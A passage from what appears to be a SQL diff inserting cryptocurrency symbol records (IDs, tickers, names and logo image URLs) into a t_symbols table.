'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/privcy.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1727, 'kfc', 'KFC', 'kfc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kfc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1728, 'aaachain', 'AAA', 'AAAchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aaachain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1729, 'fidentiax', 'FDX', 'FidentiaX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/fidentiaX.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1730, 'givingtoservices', 'SVCS', 'GivingToServices', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/givingtoservices.png', NULL); +INSERT INTO `t_symbols` VALUES (1731, 'vnt', 'VNT', 'VNT Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vnt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1732, 'oraclechain', 'OCT', 'OracleChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oraclechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1733, 'qubitcoin', 'Q2C', 'Qubitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qubitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1734, 'ravencoinclassic', 'RVC', 'Ravencoin Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ravencoinclassic.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1735, 'musicoin', 'MUSIC', 'Musicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/musicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1736, 'gooc', 'GOOC', 'GooCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gooc.png', NULL); +INSERT INTO `t_symbols` VALUES (1737, 'uptoken', 'UP', 'UpToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uptoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1738, 'adtoken', 'ADT', 'adChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1739, 'xmax', 'XMX', 'XMax', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmax.png', NULL); +INSERT INTO `t_symbols` VALUES (1740, 'utg', 'UTG', 'utg', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utg.png', NULL); +INSERT INTO `t_symbols` VALUES (1741, 'geocoin', 'GEO', 'Geocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1742, 'rupee', 'RUP', 'Rupee', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/RupeeBlockchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1743, 'atromg8', 'AG8', 'AtromG8', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atromg8.png', NULL); +INSERT INTO `t_symbols` VALUES (1744, 'note-blockchain', 'NTBC', 'Note Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/note-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1745, 'axis-defi', 'AXIS', 'Axis DeFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axis-defi.png', NULL); +INSERT INTO `t_symbols` VALUES (1746, 'gameflip', 'FLP', 'Gameflip', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gameflip.png', NULL); +INSERT INTO `t_symbols` VALUES (1747, 'poa-network', 'POA', 'POA Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poa-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1748, 'furtcoin', 'FURT', 'furtcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/furtcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1749, 'dehive', 'DHV', 'DeHive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deHive.png', NULL); +INSERT INTO `t_symbols` VALUES (1750, 'exrnchain', 'EXRN', 'EXRNchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exrnchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1751, 'turtlecoin', 'TRTL', 'TurtleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/turtlecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1752, 'skrumble-network', 'SKM', 'Skrumble Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skrumble-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1753, 'mywish', 'WISH', 'MyWish', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mywish.png', NULL); +INSERT INTO `t_symbols` VALUES (1754, 'massnet', 'MASS', 'MASS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/massnet.png', NULL); +INSERT INTO `t_symbols` VALUES (1755, 'bodhi-eth', 'BOE', 'BOE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bodhi-eth.png', NULL); +INSERT INTO `t_symbols` VALUES (1756, 'bulwark', 'BWK', 'Bulwark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bulwark.png', NULL); +INSERT INTO `t_symbols` VALUES (1757, 'c3w', 'C3W', 'C3 Wallet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/c3w.png', NULL); +INSERT INTO `t_symbols` VALUES (1758, 'ejoy', 'EJOY', 'ETHER JOY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ejoy.png', NULL); +INSERT INTO `t_symbols` VALUES (1759, 'nanjcoin', 'NANJ', 'NANJCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nanjcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1760, 'embercoin', 'EMB', 'EmberCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/embercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1761, 'napoleonx', 'NPX', 'Napoleon X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/napoleonx.png', NULL); +INSERT INTO `t_symbols` VALUES (1762, 'infinito', 'INFT', 'Infinito', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infinito.png', NULL); +INSERT INTO `t_symbols` VALUES (1763, 'projectmerge', 'MERGE', 'Merge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/projectmerge.png', NULL); +INSERT INTO `t_symbols` VALUES (1764, 'finchain', 'JRC', 'FinChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/finchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1765, 'credo', 'CREDO', 'Credo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credo.png', NULL); +INSERT INTO `t_symbols` VALUES (1766, 'cobinhood', 'COB', 'Cobinhood', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cobinhood.png', NULL); +INSERT INTO `t_symbols` VALUES (1767, 'eosdac', 'EOSDAC', 'eosDAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosdac.png', NULL); +INSERT INTO `t_symbols` VALUES (1768, 'unbreakablecoin', 'UNB', 'UnbreakableCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Unbreakablcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1769, 'heronode', 'HER', 'HeroNode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heronode.png', NULL); +INSERT INTO `t_symbols` VALUES (1770, 'linda', 'LINDA', 'LindaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linda.png', NULL); +INSERT INTO `t_symbols` VALUES (1771, 'open-platform', 'OPEN', 'Open Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (1772, 'medical-chain', 'MTN', 'Medicalchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medical-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1773, 'jarvis', 'JAR', 'Jarvis+', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jarvis%20.png', NULL); +INSERT INTO `t_symbols` VALUES (1774, 'coinfi', 'COFI', 'CoinFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinfi.png', NULL); +INSERT INTO `t_symbols` VALUES (1775, 'dav-network', 'DAV', 'DAV Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dav-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1776, 'electrifyasia', 'ELEC', 'Electrify.Asia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/electrifyasia.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1777, 'dacc', 'DACC', 'DACC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dacc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1778, 'upfiring', 'UFR', 'Upfiring', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/upfiring.png', NULL); +INSERT INTO `t_symbols` VALUES (1779, 'disbalancer', 'DDOS', 'disBalancer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/disbalancer.png', NULL); +INSERT INTO `t_symbols` VALUES (1780, 'typerium', 'TYPE', 'Typerium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/typerium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1781, 'deutsche-emark', 'DEM', 'Deutsche eMark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deutsche-emark.png', NULL); +INSERT INTO `t_symbols` VALUES (1782, 'smart-investment-fund-token', 'SIFT', 'Smart Investment Fund Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SmartIFT.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1783, 'experience-chain', 'XPC', 'eXPerience Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/experience-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1784, 'hashnet-biteco', 'HNB', 'HashNet BitEco', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashnet-biteco.png', NULL); +INSERT INTO `t_symbols` VALUES (1785, 'bumo', 'BU', 'BUMO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bumo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1786, 'global-cryptocurrency', 'GCC', 'Global Cryptocurrency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/global-cryptocurrency.png', NULL); +INSERT INTO `t_symbols` VALUES (1787, 'internxt', 'INXT', 'Internxt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/internxt.png', NULL); +INSERT INTO `t_symbols` VALUES (1788, 'bunnycoin', 'BUN', 'Bunnycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bunnycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1789, 'ugas', 'UGAS', 'Ultrain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ugas.png', NULL); +INSERT INTO `t_symbols` VALUES (1790, 'vcash', 'XVC', 'Vcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VCashinfo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1791, 'bancacy', 'BNY', 'Bancacy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bancacy.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1792, 'xensor', 'XSR', 'Xensor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/xensor.png', NULL); +INSERT INTO `t_symbols` VALUES (1793, '0xcert', 'ZXC', '0xcert', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0xcert.png', NULL); +INSERT INTO `t_symbols` VALUES (1794, 'singulardtv', 'SNGLS', 'SingularDTV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singulardtv.png', NULL); +INSERT INTO `t_symbols` VALUES (1795, '1irstcoin', 'FST', '1irstcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1irstcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1796, 'spellfire', 'SPELLFIRE', 'Spellfire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/spellfire.png', NULL); +INSERT INTO `t_symbols` VALUES (1797, 'terracoin', 'TRC', 'Terracoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1798, 'manna', 'MANNA', 'Manna', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/manna.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1799, 'pegasus', 'PGS', 'Pegasus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pegasus.png', NULL); +INSERT INTO `t_symbols` VALUES (1800, 'fndz', 'FNDZ', 'FNDZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fndz.png', NULL); +INSERT INTO `t_symbols` VALUES (1801, 'flip', 'FLIP', 'FLIP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Gameflip.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1802, 'hashcoin', 'HSC', 'HashCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1803, 'bzky', 'BZKY', 'Bizkey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bzky.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1804, 'zcc', 'ZCC', 'ZcCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcc.png', NULL); +INSERT INTO `t_symbols` VALUES (1805, 'foundgame', 'FGC', 'FoundGame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/foundgame.png', NULL); +INSERT INTO `t_symbols` VALUES (1806, 'everex', 'EVX', 'Everex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everex.png', NULL); +INSERT INTO `t_symbols` VALUES (1807, 'neoscoin', 'NEOS', 'NeosCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neoscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1808, 'solarcoin', 'SLR', 'SolarCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solarcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1809, 'merkletoken', 'MERKLE', 'Merkle Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/merkle.png', NULL); +INSERT INTO `t_symbols` VALUES (1810, 'nolimitcoin', 'NLC', 'NoLimitCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nolimitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1811, 'neurochain-clausius', 'NCC', 'NeuroChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neurochain-clausius.png', NULL); +INSERT INTO `t_symbols` VALUES (1812, 'peerplays-ppy', 'PPY', 'Peerplays', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/peerplays.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1813, 'bitcloud', 'BTDX', 'Bitcloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcloud.png', NULL); +INSERT INTO `t_symbols` VALUES (1814, 'revolutionvr', 'RVR', 'RevolutionVR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revolutionvr.png', NULL); +INSERT INTO `t_symbols` VALUES (1815, 'coinvest', 'COIN', 'Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinvest.png', NULL); +INSERT INTO `t_symbols` VALUES (1816, 'bitzeny', 'ZNY', 'BitZeny', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitzeny.png', NULL); +INSERT INTO `t_symbols` VALUES (1817, 'mdab', 'MDAB', 'BLOC Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdab.png', NULL); +INSERT INTO `t_symbols` VALUES (1818, 'ees-token', 'EES', 'ees-token', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1819, 'encryptotel', 'ETT', 'EncryptoTel [Waves]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/encryptotel.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1820, 'tokenclub', 'TCT', 'TokenClub', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenclub.png', NULL); +INSERT INTO `t_symbols` VALUES (1821, 'wepower', 'WPR', 'WePower', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wepower.png', NULL); +INSERT INTO `t_symbols` VALUES (1822, 'evergreencoin', 'EGC', 'EverGreenCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evergreencoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1823, 'bnsd-finance', 'BNSD', 'BNSD Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bnsd-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (1824, 'gcoin', 'GCOIN', 'Galaxy Fight Club', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/galaxyfightclub.png', NULL); +INSERT INTO `t_symbols` VALUES (1825, 'equal', 'EQL', 'Equal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/equaltoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1826, 'jumpcoin', 'JUMP', 'Jumpcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jumpcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1827, 'galaxy-heroes-coin', 'GHC', 'Galaxy Heroes Coin [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/galaxy-heroes-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1828, 'synereo', 'AMP', 'HyperSpace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synereo.png', NULL); +INSERT INTO `t_symbols` VALUES (1829, 'locicoin', 'LOCI', 'Loci', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/locicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1830, 'rapidz', 'RPZX', 'Rapidz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rapidz.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1831, 'titan-coin', 'TTN', 'Titan Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/titan-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1832, 'nss-coin', 'NSS', 'NSS Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nss-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1833, 'nerva', 'XNV', 'Nerva', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nerva.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1834, 'espers', 'ESP', 'Espers', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/espers.png', NULL); +INSERT INTO `t_symbols` VALUES (1835, 'icos', 'ICOS', 'ICOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icos.png', NULL); +INSERT INTO `t_symbols` VALUES (1836, 'fivebalance', 'FBN', 'Fivebalance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fivebalance.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1837, 'wintoken', 'WIN', 'WinToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wintoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1838, 'inpay', 'INPAY', 'InPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/InPay_Team.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1839, 'pmd', 'PMD', 'Pyramid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pmd.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1840, 'buff', 'BUFF', 'buff', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buff.png', NULL); +INSERT INTO `t_symbols` VALUES (1841, 'mcw', 'MCW', 'Mocrow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcw.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1842, 'bithereum-network', 'BTH', 'Bithereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bithereum-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1843, 'bitcrystals', 'BCY', 'Bitcrystals', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcrystals.png', NULL); +INSERT INTO `t_symbols` VALUES (1844, 'synchrolife', 'SYC', 'SynchroLife', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synchrolife.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1845, 'pylon-network', 'PYLNT', 'Pylon Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pylon-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1846, 'foldingcoin', 'FLDC', 'Foldingcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/foldingcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1847, 'digitalnote', 'XDN', 'DigitalNote', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitalnote.png', NULL); +INSERT INTO `t_symbols` VALUES (1848, 'emercoin', 'EMC', 'Emercoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1849, 'skillcoin', 'SKILL', 'Skillcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skillcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1850, 'golff', 'GOF', 'Golff', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golff.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1851, 'etherparty', 'FUEL', 'Etherparty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/etherparty_com.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1852, 'mytoken', 'MT', 'MyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mytoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1853, 'gowithmi', 'GMAT', 'GoWithMi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/feb65881ce959db578fb4e2d3cd73147.png', NULL); +INSERT INTO `t_symbols` VALUES (1854, 'esbc', 'ESBC', 'ESBC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/esbc.png', NULL); +INSERT INTO `t_symbols` VALUES (1855, 'widecash', 'WCH', 'Widecash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/widecash.png', NULL); +INSERT INTO `t_symbols` VALUES (1856, 'ab-chain-rtb', 'RTB', 'AB-Chain RTB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ab-chain-rtb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1857, 'ipx-token', 'IPX', 'Tachyon Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ipx-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1858, 'realtract', 'RET', 'RealTract', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/realtract.png', NULL); +INSERT INTO `t_symbols` VALUES (1859, 'carx', 'CARX', 'Carxchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1860, 'fiwa', 'FIWA', 'Defi Warrior', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/defiwarrior.png', NULL); +INSERT INTO `t_symbols` VALUES (1861, 'nyancoin', 'NYAN', 'Nyancoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nyancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1862, 'ptn', 'PTN', 'PalletOne', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ptn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1863, 'canada-ecoin', 'CDN', 'Canada eCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/canada-ecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1864, 'bottos', 'BTO', 'Bottos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bottos.png', NULL); +INSERT INTO `t_symbols` VALUES (1865, 'ink', 'INK', 'Ink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ink.png', NULL); +INSERT INTO `t_symbols` VALUES (1866, 'red-community-token', 'RED', 'Red', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/red-community-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1867, 'aspoworldtoken', 'ASPO', 'ASPO World', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/aspoworld.png', NULL); +INSERT INTO `t_symbols` VALUES (1868, 'trollcoin', 'TROLL', 'Trollcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/trollcoinbase.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1869, 'carboncoin', 'CARBON', 'Carboncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carboncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1870, 'optitoken', 'OPTI', 'OptiToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optitoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1871, 'thrive-token', 'THRT', 'Thrive Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thrive-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1872, 'eos-trust', 'EOST', 'EOS TRUST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos-trust.png', NULL); +INSERT INTO `t_symbols` VALUES (1873, '3dc', '3DC', '3DCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/3dc.png', NULL); +INSERT INTO `t_symbols` VALUES (1874, 'iocoin', 'IOC', 'I/O Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1875, 'iethereum', 'IETH', 'iEthereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iethereum.png', NULL); +INSERT INTO `t_symbols` VALUES (1876, 'asch', 'XAS', 'Asch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asch.png', NULL); +INSERT INTO `t_symbols` VALUES (1877, 'bitshares-music', 'MUSE', 'SounDAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitshares-music.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1878, 'rmpl', 'RMPL', 'RMPL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rmpl.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1879, 'energitoken', 'ETK', 'EnergiToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energitoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1880, 'kulupu', 'KLP', 'Kulupu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kulupu.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1881, 'biblepay', 'BBP', 'BiblePay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BiblePay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1882, 'ruff', 'RUFF', 'Ruff', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ruff.png', NULL); +INSERT INTO `t_symbols` VALUES (1883, 'diychain', 'DIY', 'DIYchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/diychain.png', NULL); +INSERT INTO `t_symbols` VALUES (1884, 'voisecom', 'VOISE', 'VOISE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voisecom.png', NULL); +INSERT INTO `t_symbols` VALUES (1885, 'cosmo-coin', 'COSM', 